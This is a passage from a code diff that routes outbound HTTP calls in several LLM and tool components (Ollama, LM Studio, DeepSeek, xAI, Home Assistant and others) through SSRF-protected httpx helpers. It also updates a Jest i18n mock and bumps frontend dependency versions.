CugaComponent(ToolCallingAgentComponent): from cuga.backend.llm.models import LLMManager from cuga.configurations.instructions_manager import InstructionsManager + _install_cuga_code_agent_security_guard() + # Reset var_manager if this is the first message in history logger.debug(f"[CUGA] Checking history_messages: count={len(history_messages) if history_messages else 0}") if not history_messages or len(history_messages) == 0: diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/deepseek/deepseek.py b/src/bundles/lfx-bundles/src/lfx_bundles/deepseek/deepseek.py index e63da76dd6..a49b0ede1a 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/deepseek/deepseek.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/deepseek/deepseek.py @@ -1,8 +1,10 @@ -import requests +import httpx from lfx.base.models.model import LCModelComponent from lfx.field_typing import LanguageModel from lfx.field_typing.range_spec import RangeSpec from lfx.inputs.inputs import BoolInput, DictInput, DropdownInput, IntInput, SecretStrInput, SliderInput, StrInput +from lfx.utils.ssrf_httpx import ssrf_protected_openai_clients_for_url, ssrf_safe_httpx_get +from lfx.utils.ssrf_protection import SSRFProtectionError from pydantic.v1 import SecretStr from typing_extensions import override @@ -82,11 +84,14 @@ class DeepSeekModelComponent(LCModelComponent): headers = {"Authorization": f"Bearer {self.api_key}", "Accept": "application/json"} try: - response = requests.get(url, headers=headers, timeout=10) + response = ssrf_safe_httpx_get(url, headers=headers, timeout=10) response.raise_for_status() model_list = response.json() return [model["id"] for model in model_list.get("data", [])] - except requests.RequestException as e: + except SSRFProtectionError as e: + self.status = f"SSRF Protection: {e}" + return DEEPSEEK_MODELS + except httpx.HTTPError as e: self.status = f"Error fetching models: {e}" return DEEPSEEK_MODELS @@ -105,6 +110,8 @@ class DeepSeekModelComponent(LCModelComponent): raise ImportError(msg) from e api_key = SecretStr(self.api_key).get_secret_value() if self.api_key else None + ssrf_client_kwargs = ssrf_protected_openai_clients_for_url(self.api_base) + output = ChatOpenAI( model=self.model_name, temperature=self.temperature if self.temperature is not None else 0.1, @@ -114,6 +121,7 @@ class DeepSeekModelComponent(LCModelComponent): api_key=api_key, streaming=self.stream if hasattr(self, "stream") else False, seed=self.seed, + **ssrf_client_kwargs, ) if self.json_mode: diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/glean/glean_search_api.py b/src/bundles/lfx-bundles/src/lfx_bundles/glean/glean_search_api.py index d0bf96d4a5..7ea2681215 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/glean/glean_search_api.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/glean/glean_search_api.py @@ -2,7 +2,6 @@ import json from typing import Any from urllib.parse import urljoin -import httpx from langchain_core.tools import StructuredTool, ToolException from lfx.base.langchain_utilities.model import LCToolComponent from lfx.field_typing import Tool @@ -10,6 +9,7 @@ from lfx.inputs.inputs import IntInput, MultilineInput, NestedDictInput, SecretS from lfx.io import Output from lfx.schema.data import Data from lfx.schema.dataframe import DataFrame +from lfx.utils.ssrf_httpx import ssrf_safe_httpx_post from pydantic import BaseModel from pydantic.v1 import Field @@ -81,7 +81,7 @@ class GleanAPIWrapper(BaseModel): def _search_api_results(self, query: str, **kwargs: Any) -> list[dict[str, Any]]: request_details = self._prepare_request(query, **kwargs) - response = httpx.post( + response = ssrf_safe_httpx_post( request_details["url"], json=request_details["payload"], headers=request_details["headers"], diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/homeassistant/home_assistant_control.py b/src/bundles/lfx-bundles/src/lfx_bundles/homeassistant/home_assistant_control.py index e7cb158333..f39a8ce007 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/homeassistant/home_assistant_control.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/homeassistant/home_assistant_control.py @@ -1,12 +1,14 @@ import json from typing import Any -import requests +import httpx from langchain_core.tools import StructuredTool from lfx.base.langchain_utilities.model import LCToolComponent from lfx.field_typing import Tool from lfx.inputs.inputs import SecretStrInput, StrInput from lfx.schema.data import Data +from lfx.utils.ssrf_httpx import ssrf_safe_httpx_post +from lfx.utils.ssrf_protection import SSRFProtectionError from pydantic import BaseModel, Field @@ -131,11 +133,13 @@ class HomeAssistantControl(LCToolComponent): } payload = {"entity_id": entity_id} - response = requests.post(url, headers=headers, json=payload, timeout=10) + response = ssrf_safe_httpx_post(url, headers=headers, json=payload, timeout=10) response.raise_for_status() return response.json() # HA response JSON on success - except requests.exceptions.RequestException as e: + except SSRFProtectionError as e: + return f"Error: SSRF Protection: {e}" + except httpx.HTTPError as e: return f"Error: Failed to call service. {e}" except Exception as e: # noqa: BLE001 return f"An unexpected error occurred: {e}" diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/homeassistant/list_home_assistant_states.py b/src/bundles/lfx-bundles/src/lfx_bundles/homeassistant/list_home_assistant_states.py index 5bf8c3423b..c7375b7baf 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/homeassistant/list_home_assistant_states.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/homeassistant/list_home_assistant_states.py @@ -1,12 +1,14 @@ import json from typing import Any -import requests +import httpx from langchain_core.tools import StructuredTool from lfx.base.langchain_utilities.model import LCToolComponent from lfx.field_typing import Tool from lfx.inputs.inputs import SecretStrInput, StrInput from lfx.schema.data import Data +from lfx.utils.ssrf_httpx import ssrf_safe_httpx_get +from lfx.utils.ssrf_protection import SSRFProtectionError from pydantic import BaseModel, Field @@ -102,14 +104,16 @@ class ListHomeAssistantStates(LCToolComponent): "Content-Type": "application/json", } url = f"{base_url}/api/states" - response = requests.get(url, headers=headers, timeout=10) + response = ssrf_safe_httpx_get(url, headers=headers, timeout=10) response.raise_for_status() all_states = response.json() if filter_domain: return [st for st in all_states if st.get("entity_id", "").startswith(f"{filter_domain}.")] - except requests.exceptions.RequestException as e: + except SSRFProtectionError as e: + return f"Error: SSRF Protection: {e}" + except httpx.HTTPError as e: return f"Error: Failed to fetch states. {e}" except (ValueError, TypeError) as e: return f"Error processing response: {e}" diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/huggingface/huggingface_inference_api.py b/src/bundles/lfx-bundles/src/lfx_bundles/huggingface/huggingface_inference_api.py index 3c12d3e655..83a9df4fcd 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/huggingface/huggingface_inference_api.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/huggingface/huggingface_inference_api.py @@ -1,10 +1,11 @@ from urllib.parse import urlparse -import requests +import httpx from langchain_community.embeddings.huggingface import HuggingFaceInferenceAPIEmbeddings from lfx.base.embeddings.model import LCEmbeddingsModel from lfx.field_typing import Embeddings from lfx.io import MessageTextInput, Output, SecretStrInput +from lfx.utils.ssrf_httpx import ssrf_safe_httpx_get, validate_url_for_ssrf_or_raise # Next update: use langchain_huggingface from pydantic import SecretStr @@ -56,15 +57,15 @@ class HuggingFaceInferenceAPIEmbeddingsComponent(LCEmbeddingsModel): raise ValueError(msg) try: - response = requests.get(f"{inference_endpoint}/health", timeout=5) - except requests.RequestException as e: + response = ssrf_safe_httpx_get(f"{inference_endpoint}/health", timeout=5) + except httpx.HTTPError as e: msg = ( f"Inference endpoint '{inference_endpoint}' is not responding. " "Please ensure the URL is correct and the service is running." ) raise ValueError(msg) from e - if response.status_code != requests.codes.ok: + if response.status_code != httpx.codes.OK: msg = f"Hugging Face health check failed: {response.status_code}" raise ValueError(msg) # returning True to solve linting error @@ -83,6 +84,7 @@ class HuggingFaceInferenceAPIEmbeddingsComponent(LCEmbeddingsModel): def build_embeddings(self) -> Embeddings: api_url = self.get_api_url() + validate_url_for_ssrf_or_raise(api_url) is_local_url = ( api_url.startswith(("http://localhost", "http://127.0.0.1", "http://0.0.0.0", "http://docker")) diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/litellm/litellm_proxy.py b/src/bundles/lfx-bundles/src/lfx_bundles/litellm/litellm_proxy.py index f71f8ae53b..3cc5fc43fc 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/litellm/litellm_proxy.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/litellm/litellm_proxy.py @@ -5,6 +5,8 @@ from lfx.field_typing import LanguageModel from lfx.field_typing.range_spec import RangeSpec from lfx.inputs.inputs import IntInput, SecretStrInput, SliderInput, StrInput from lfx.utils.secrets import secret_value_to_str +from lfx.utils.ssrf_httpx import ssrf_protected_openai_clients_for_url, ssrf_safe_httpx_get +from lfx.utils.ssrf_protection import SSRFProtectionError class LiteLLMProxyComponent(LCModelComponent): @@ -71,6 +73,7 @@ class LiteLLMProxyComponent(LCModelComponent): def build_model(self) -> LanguageModel: """Build the LiteLLM proxy model.""" api_key = secret_value_to_str(self.api_key) or "" + ssrf_client_kwargs = ssrf_protected_openai_clients_for_url(self.api_base) self._validate_proxy_connection(api_key) @@ -83,6 +86,7 @@ class LiteLLMProxyComponent(LCModelComponent): timeout=self.timeout, max_retries=self.max_retries, streaming=self.stream, + **ssrf_client_kwargs, ) def _validate_proxy_connection(self, api_key: str) -> None: @@ -91,11 +95,14 @@ class LiteLLMProxyComponent(LCModelComponent): models_url = f"{base_url}/models" try: - response = httpx.get( + response = ssrf_safe_httpx_get( models_url, headers={"Authorization": f"Bearer {api_key}"}, timeout=10, ) + except SSRFProtectionError as e: + msg = f"SSRF Protection: {e}" + raise ValueError(msg) from e except httpx.ConnectError as e: msg = ( f"Could not connect to LiteLLM Proxy at {base_url}. Verify the URL is correct and the proxy is running." diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/lmstudio/lmstudioembeddings.py b/src/bundles/lfx-bundles/src/lfx_bundles/lmstudio/lmstudioembeddings.py index 3fe4c3f739..0d461328bc 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/lmstudio/lmstudioembeddings.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/lmstudio/lmstudioembeddings.py @@ -1,11 +1,12 @@ from typing import Any from urllib.parse import urljoin -import httpx from lfx.base.embeddings.model import LCEmbeddingsModel from lfx.field_typing import Embeddings from lfx.inputs.inputs import DropdownInput, SecretStrInput from lfx.io import FloatInput, MessageTextInput +from lfx.utils.ssrf_httpx import ssrf_safe_async_get, validate_url_for_ssrf_or_raise +from lfx.utils.ssrf_protection import SSRFProtectionError class LMStudioEmbeddingsComponent(LCEmbeddingsModel): @@ -30,12 +31,14 @@ class LMStudioEmbeddingsComponent(LCEmbeddingsModel): async def get_model(base_url_value: str) -> list[str]: try: url = urljoin(base_url_value, "/v1/models") - async with httpx.AsyncClient() as client: - response = await client.get(url) - response.raise_for_status() - data = response.json() + response = await ssrf_safe_async_get(url) + response.raise_for_status() + data = response.json() - return [model["id"] for model in data.get("data", [])] + return [model["id"] for model in data.get("data", [])] + except SSRFProtectionError as e: + msg = f"SSRF Protection: {e}" + raise ValueError(msg) from e except Exception as e: msg = "Could not retrieve models. Please, make sure the LM Studio server is running." raise ValueError(msg) from e @@ -70,6 +73,8 @@ class LMStudioEmbeddingsComponent(LCEmbeddingsModel): ] def build_embeddings(self) -> Embeddings: + validate_url_for_ssrf_or_raise(self.base_url) + try: from langchain_nvidia_ai_endpoints import NVIDIAEmbeddings except ImportError as e: diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/lmstudio/lmstudiomodel.py b/src/bundles/lfx-bundles/src/lfx_bundles/lmstudio/lmstudiomodel.py index efa4d05bdc..81779a8885 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/lmstudio/lmstudiomodel.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/lmstudio/lmstudiomodel.py @@ -7,6 +7,8 @@ from lfx.base.models.model import LCModelComponent from lfx.field_typing import LanguageModel from lfx.field_typing.range_spec import RangeSpec from lfx.inputs.inputs import DictInput, DropdownInput, FloatInput, IntInput, SecretStrInput, StrInput +from lfx.utils.ssrf_httpx import ssrf_protected_openai_clients_for_url, ssrf_safe_async_get +from lfx.utils.ssrf_protection import SSRFProtectionError class LMStudioModelComponent(LCModelComponent): @@ -23,9 +25,11 @@ class LMStudioModelComponent(LCModelComponent): if base_url_load_from_db: base_url_value = await self.get_variables(base_url_value, field_name) try: - async with httpx.AsyncClient() as client: - response = await client.get(urljoin(base_url_value, "/v1/models"), timeout=2.0) - response.raise_for_status() + response = await ssrf_safe_async_get(urljoin(base_url_value, "/v1/models"), timeout=2.0) + response.raise_for_status() + except SSRFProtectionError as e: + msg = f"SSRF Protection: {e}" + raise ValueError(msg) from e except httpx.HTTPError: msg = "Could not access the default LM Studio URL. Please, specify the 'Base URL' field." self.log(msg) @@ -38,12 +42,14 @@ class LMStudioModelComponent(LCModelComponent): async def get_model(base_url_value: str) -> list[str]: try: url = urljoin(base_url_value, "/v1/models") - async with httpx.AsyncClient() as client: - response = await client.get(url) - response.raise_for_status() - data = response.json() + response = await ssrf_safe_async_get(url) + response.raise_for_status() + data = response.json() - return [model["id"] for model in data.get("data", [])] + return [model["id"] for model in data.get("data", [])] + except SSRFProtectionError as e: + msg = f"SSRF Protection: {e}" + raise ValueError(msg) from e except Exception as e: msg = "Could not retrieve models. Please, make sure the LM Studio server is running." raise ValueError(msg) from e @@ -102,6 +108,8 @@ class LMStudioModelComponent(LCModelComponent): base_url = self.base_url or "http://localhost:1234/v1" seed = self.seed + ssrf_client_kwargs = ssrf_protected_openai_clients_for_url(base_url) + return ChatOpenAI( max_tokens=max_tokens or None, model_kwargs=model_kwargs, @@ -110,6 +118,7 @@ class LMStudioModelComponent(LCModelComponent): api_key=lmstudio_api_key, temperature=temperature if temperature is not None else 0.1, seed=seed, + **ssrf_client_kwargs, ) def _get_exception_message(self, e: Exception): diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/ollama/ollama.py b/src/bundles/lfx-bundles/src/lfx_bundles/ollama/ollama.py index 349c077e1f..f46bf8e4c8 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/ollama/ollama.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/ollama/ollama.py @@ -27,6 +27,12 @@ from lfx.log.logger import logger from lfx.schema.data import Data from lfx.schema.dataframe import DataFrame from lfx.schema.table import EditMode +from lfx.utils.ssrf_httpx import ( + ssrf_protected_httpx_client_kwargs_for_url, + ssrf_safe_async_get, + ssrf_safe_async_post, +) +from lfx.utils.ssrf_protection import SSRFProtectionError from lfx.utils.util import transform_localhost_url HTTP_STATUS_OK = 200 @@ -262,6 +268,8 @@ class ChatOllamaComponent(LCModelComponent): "Learn more at https://docs.ollama.com/openai#openai-compatibility" ) + sync_client_kwargs, async_client_kwargs = ssrf_protected_httpx_client_kwargs_for_url(transformed_base_url) + try: output_format = self._parse_format_field(self.format) if self.enable_structured_output else None except Exception as e: @@ -296,6 +304,10 @@ class ChatOllamaComponent(LCModelComponent): headers = self.headers if headers is not None: llm_params["client_kwargs"] = {"headers": headers} + if sync_client_kwargs: + llm_params["sync_client_kwargs"] = sync_client_kwargs + if async_client_kwargs: + llm_params["async_client_kwargs"] = async_client_kwargs # Remove parameters with None values llm_params = {k: v for k, v in llm_params.items() if v is not None} @@ -313,19 +325,21 @@ class ChatOllamaComponent(LCModelComponent): async def is_valid_ollama_url(self, url: str) -> bool: try: - async with httpx.AsyncClient() as client: - url = transform_localhost_url(url) - if not url: - return False - # Strip /v1 suffix if present, as Ollama API endpoints are at root level - url = url.rstrip("/").removesuffix("/v1") - if not url.endswith("/"): - url = url + "/" - return ( - await client.get(url=urljoin(url, "api/tags"), headers=self.headers) - ).status_code == HTTP_STATUS_OK + url = transform_localhost_url(url) + if not url: + return False + # Strip /v1 suffix if present, as Ollama API endpoints are at root level + url = url.rstrip("/").removesuffix("/v1") + if not url.endswith("/"): + url = url + "/" + response = await ssrf_safe_async_get(urljoin(url, "api/tags"), headers=self.headers) + except SSRFProtectionError as e: + msg = f"SSRF Protection: {e}" + raise ValueError(msg) from e except httpx.RequestError: return False + else: + return response.status_code == HTTP_STATUS_OK async def update_build_config(self, build_config: dict, field_value: Any, field_name: str | None = None): if field_name == "enable_structured_output": # bind enable_structured_output boolean to format show value @@ -408,44 +422,46 @@ class ChatOllamaComponent(LCModelComponent): # Ollama REST API to return model capabilities show_url = urljoin(base_url, "api/show") - async with httpx.AsyncClient() as client: - headers = self.headers - # Fetch available models - tags_response = await client.get(url=tags_url, headers=headers) - tags_response.raise_for_status() - models = tags_response.json() - if asyncio.iscoroutine(models): - models = await models - await logger.adebug(f"Available models: {models}") + headers = self.headers + # Fetch available models + tags_response = await ssrf_safe_async_get(tags_url, headers=headers) + tags_response.raise_for_status() + models = tags_response.json() + if asyncio.iscoroutine(models): + models = await models + await logger.adebug(f"Available models: {models}") - # Filter models that are NOT embedding models - model_ids = [] - for model in models[self.JSON_MODELS_KEY]: - model_name = model[self.JSON_NAME_KEY] - await logger.adebug(f"Checking model: {model_name}") + # Filter models that are NOT embedding models + model_ids = [] + for model in models[self.JSON_MODELS_KEY]: + model_name = model[self.JSON_NAME_KEY] + await logger.adebug(f"Checking model: {model_name}") - payload = {"model": model_name} - show_response = await client.post(url=show_url, json=payload, headers=headers) - show_response.raise_for_status() - json_data = show_response.json() - if asyncio.iscoroutine(json_data): - json_data = await json_data + payload = {"model": model_name} + show_response = await ssrf_safe_async_post(show_url, json=payload, headers=headers) + show_response.raise_for_status() + json_data = show_response.json() + if asyncio.iscoroutine(json_data): + json_data = await json_data - capabilities = json_data.get(self.JSON_CAPABILITIES_KEY) - await logger.adebug(f"Model: {model_name}, Capabilities: {capabilities}") + capabilities = json_data.get(self.JSON_CAPABILITIES_KEY) + await logger.adebug(f"Model: {model_name}, Capabilities: {capabilities}") - # If capabilities not provided, assume it's a completion model (backwards compatibility - # with older Ollama versions that don't return capabilities from /api/show) - if capabilities is None: - if not tool_model_enabled: - model_ids.append(model_name) - # If tool_model_enabled is True but no capabilities info, skip the model - # since we can't verify tool support - elif self.DESIRED_CAPABILITY in capabilities and ( - not tool_model_enabled or self.TOOL_CALLING_CAPABILITY in capabilities - ): + # If capabilities not provided, assume it's a completion model (backwards compatibility + # with older Ollama versions that don't return capabilities from /api/show) + if capabilities is None: + if not tool_model_enabled: model_ids.append(model_name) + # If tool_model_enabled is True but no capabilities info, skip the model + # since we can't verify tool support + elif self.DESIRED_CAPABILITY in capabilities and ( + not tool_model_enabled or self.TOOL_CALLING_CAPABILITY in capabilities + ): + model_ids.append(model_name) + except SSRFProtectionError as e: + msg = f"SSRF Protection: {e}" + raise ValueError(msg) from e except (httpx.RequestError, ValueError) as e: msg = "Could not get model names from Ollama." raise ValueError(msg) from e diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/ollama/ollama_embeddings.py b/src/bundles/lfx-bundles/src/lfx_bundles/ollama/ollama_embeddings.py index a632a193df..ad85c0fddf 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/ollama/ollama_embeddings.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/ollama/ollama_embeddings.py @@ -8,6 +8,12 @@ from lfx.base.models.model import LCModelComponent from lfx.field_typing import Embeddings from lfx.io import DropdownInput, Output, SecretStrInput, StrInput from lfx.log.logger import logger +from lfx.utils.ssrf_httpx import ( + ssrf_protected_httpx_client_kwargs_for_url, + ssrf_safe_async_get, + ssrf_safe_async_post, +) +from lfx.utils.ssrf_protection import SSRFProtectionError from lfx.utils.util import transform_localhost_url HTTP_STATUS_OK = 200 @@ -80,11 +86,17 @@ class OllamaEmbeddingsComponent(LCModelComponent): "Learn more at https://docs.ollama.com/openai#openai-compatibility" ) + sync_client_kwargs, async_client_kwargs = ssrf_protected_httpx_client_kwargs_for_url(transformed_base_url) + llm_params = { "model": self.model_name, "base_url": transformed_base_url, } + if sync_client_kwargs: + llm_params["sync_client_kwargs"] = sync_client_kwargs + if async_client_kwargs: + llm_params["async_client_kwargs"] = async_client_kwargs if self.headers: llm_params["client_kwargs"] = {"headers": self.headers} @@ -132,35 +144,37 @@ class OllamaEmbeddingsComponent(LCModelComponent): # Ollama REST API to return model capabilities show_url = urljoin(base_url, "api/show") - async with httpx.AsyncClient() as client: - headers = self.headers - # Fetch available models - tags_response = await client.get(url=tags_url, headers=headers) - tags_response.raise_for_status() - models = tags_response.json() - if asyncio.iscoroutine(models): - models = await models - await logger.adebug(f"Available models: {models}") + headers = self.headers + # Fetch available models + tags_response = await ssrf_safe_async_get(tags_url, headers=headers) + tags_response.raise_for_status() + models = tags_response.json() + if asyncio.iscoroutine(models): + models = await models + await logger.adebug(f"Available models: {models}") - # Filter models that are embedding models - model_ids = [] - for model in models[self.JSON_MODELS_KEY]: - model_name = model[self.JSON_NAME_KEY] - await logger.adebug(f"Checking model: {model_name}") + # Filter models that are embedding models + model_ids = [] + for model in models[self.JSON_MODELS_KEY]: + model_name = model[self.JSON_NAME_KEY] + await logger.adebug(f"Checking model: {model_name}") - payload = {"model": model_name} - show_response = await client.post(url=show_url, json=payload, headers=headers) - show_response.raise_for_status() - json_data = show_response.json() - if asyncio.iscoroutine(json_data): - json_data = await json_data + payload = {"model": model_name} + show_response = await ssrf_safe_async_post(show_url, json=payload, headers=headers) + show_response.raise_for_status() + json_data = show_response.json() + if asyncio.iscoroutine(json_data): + json_data = await json_data - capabilities = json_data.get(self.JSON_CAPABILITIES_KEY, []) - await logger.adebug(f"Model: {model_name}, Capabilities: {capabilities}") + capabilities = json_data.get(self.JSON_CAPABILITIES_KEY, []) + await logger.adebug(f"Model: {model_name}, Capabilities: {capabilities}") - if self.EMBEDDING_CAPABILITY in capabilities: - model_ids.append(model_name) + if self.EMBEDDING_CAPABILITY in capabilities: + model_ids.append(model_name) + except SSRFProtectionError as e: + msg = f"SSRF Protection: {e}" + raise ValueError(msg) from e except (httpx.RequestError, ValueError) as e: msg = "Could not get model names from Ollama." raise ValueError(msg) from e @@ -169,16 +183,18 @@ class OllamaEmbeddingsComponent(LCModelComponent): async def is_valid_ollama_url(self, url: str) -> bool: try: - async with httpx.AsyncClient() as client: - url = transform_localhost_url(url) - if not url: - return False - # Strip /v1 suffix if present, as Ollama API endpoints are at root level - url = url.rstrip("/").removesuffix("/v1") - if not url.endswith("/"): - url = url + "/" - return ( - await client.get(url=urljoin(url, "api/tags"), headers=self.headers) - ).status_code == HTTP_STATUS_OK + url = transform_localhost_url(url) + if not url: + return False + # Strip /v1 suffix if present, as Ollama API endpoints are at root level + url = url.rstrip("/").removesuffix("/v1") + if not url.endswith("/"): + url = url + "/" + response = await ssrf_safe_async_get(urljoin(url, "api/tags"), headers=self.headers) + except SSRFProtectionError as e: + msg = f"SSRF Protection: {e}" + raise ValueError(msg) from e except httpx.RequestError: return False + else: + return response.status_code == HTTP_STATUS_OK diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/xai/xai.py b/src/bundles/lfx-bundles/src/lfx_bundles/xai/xai.py index 3d5de5a9a0..4113efc0fb 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/xai/xai.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/xai/xai.py @@ -1,4 +1,4 @@ -import requests +import httpx from langchain_openai import ChatOpenAI from lfx.base.models.model import LCModelComponent from lfx.field_typing import LanguageModel @@ -12,6 +12,8 @@ from lfx.inputs.inputs import ( SecretStrInput, SliderInput, ) +from lfx.utils.ssrf_httpx import ssrf_protected_openai_clients_for_url, ssrf_safe_httpx_get +from lfx.utils.ssrf_protection import SSRFProtectionError from pydantic.v1 import SecretStr from typing_extensions import override @@ -96,7 +98,7 @@ class XAIModelComponent(LCModelComponent): headers = {"Authorization": f"Bearer {self.api_key}", "Accept": "application/json"} try: - response = requests.get(url, headers=headers, timeout=10) + response = ssrf_safe_httpx_get(url, headers=headers, timeout=10) response.raise_for_status() data = response.json() @@ -107,7 +109,10 @@ class XAIModelComponent(LCModelComponent): models.update(model.get("aliases", [])) return sorted(models) if models else XAI_DEFAULT_MODELS - except requests.RequestException as e: + except SSRFProtectionError as e: + self.status = f"SSRF Protection: {e}" + return XAI_DEFAULT_MODELS + except httpx.HTTPError as e: self.status = f"Error fetching models: {e}" return XAI_DEFAULT_MODELS @@ -129,6 +134,7 @@ class XAIModelComponent(LCModelComponent): json_mode = self.json_mode seed = self.seed + ssrf_client_kwargs = ssrf_protected_openai_clients_for_url(base_url) api_key = SecretStr(api_key).get_secret_value() if api_key else None output = ChatOpenAI( @@ -139,6 +145,7 @@ class XAIModelComponent(LCModelComponent): api_key=api_key, temperature=temperature if temperature is not None else 0.1, seed=seed, + **ssrf_client_kwargs, ) if json_mode: diff --git a/src/frontend/jest.config.js b/src/frontend/jest.config.js index e1d06bae5b..5420002ed0 100644 --- a/src/frontend/jest.config.js +++ b/src/frontend/jest.config.js @@ -9,6 +9,7 @@ module.exports = { "^@jsonquerylang/jsonquery$": "/src/__mocks__/@jsonquerylang/jsonquery.js", "^vanilla-jsoneditor$": "/src/__mocks__/vanilla-jsoneditor.js", + "^uuid$": "/src/__mocks__/uuid.js", }, setupFilesAfterEnv: ["/src/setupTests.ts"], setupFiles: ["/jest.setup.js"], diff --git a/src/frontend/jest.setup.js b/src/frontend/jest.setup.js index ee0a722b37..50d505463a 100644 --- a/src/frontend/jest.setup.js +++ b/src/frontend/jest.setup.js @@ -1,4 +1,5 @@ // Jest setup file to mock globals and Vite-specific syntax +const React = require("react"); // Mock react-i18next globally so t(key) returns the English string from en.json const enTranslations = require("./src/locales/en.json"); @@ -16,13 +17,33 @@ const resolveKey = (key, params) => { } return key; }; +// Parse text interpolation tags used by Trans i18nKey values. +const renderTrans = ({ i18nKey, children, components }) => { + if (!i18nKey || !enTranslations[i18nKey]) return children ?? null; + const raw = enTranslations[i18nKey]; + if (!components) return raw.replace(/<\d+>([\s\S]*?)<\/\d+>/g, "$1"); + const parts = raw.split(/(<\d+>[\s\S]*?<\/\d+>)/); + return React.createElement( + React.Fragment, + null, + ...parts.map((part, idx) => { + const m = part.match(/^<(\d+)>([\s\S]*?)<\/\d+>$/); + if (m) { + const comp = components[Number(m[1])]; + if (comp) return React.cloneElement(comp, { key: idx }, m[2]); + return m[2]; + } + return part; + }), + ); +}; jest.mock("react-i18next", () => ({ useTranslation: () => ({ t: (key, params) => interpolate(enTranslations[resolveKey(key, params)] ?? key, params), i18n: { changeLanguage: jest.fn(), language: "en" }, }), - Trans: ({ children }) => children, + Trans: renderTrans, initReactI18next: { type: "3rdParty", init: jest.fn() }, withTranslation: () => (Component) => Component, })); diff --git a/src/frontend/package-lock.json b/src/frontend/package-lock.json index a618d98de7..685edda570 100644 --- a/src/frontend/package-lock.json +++ b/src/frontend/package-lock.json @@ -79,7 +79,7 @@ "react-icons": "^5.2.1", "react-markdown": "^9.1.0", "react-pdf": "^9.0.0", - "react-router-dom": "^6.23.1", + "react-router-dom": "^6.30.4", "react-sortablejs": "^6.1.4", "react-syntax-highlighter": "^16.1.0", "reactflow": "^11.11.3", @@ -94,7 +94,7 @@ "tailwind-merge": "^2.3.0", "tailwindcss-animate": "^1.0.7", "use-stick-to-bottom": "^1.1.1", - "uuid": "^10.0.0", + "uuid": "^14.0.0", "vanilla-jsoneditor": "^2.3.3", "web-vitals": "^4.1.1", "whatwg-fetch": "^3.6.20", @@ -265,9 +265,9 @@ } }, "node_modules/@babel/compat-data": { - "version": "7.29.0", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", - "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz", + "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==", "dev": true, "license": "MIT", "engines": { @@ -275,21 +275,21 @@ } }, "node_modules/@babel/core": { - "version": "7.29.0", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", - "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz", + "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==", "dev": true, "license": "MIT", "dependencies": { - "@babel/code-frame": "^7.29.0", - "@babel/generator": "^7.29.0", - "@babel/helper-compilation-targets": "^7.28.6", - "@babel/helper-module-transforms": "^7.28.6", - "@babel/helpers": "^7.28.6", - "@babel/parser": "^7.29.0", - "@babel/template": "^7.28.6", - "@babel/traverse": "^7.29.0", - "@babel/types": "^7.29.0", + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helpers": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", @@ -305,6 +305,21 @@ "url": "https://opencollective.com/babel" } }, + "node_modules/@babel/core/node_modules/@babel/code-frame": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", + "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.29.7", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + 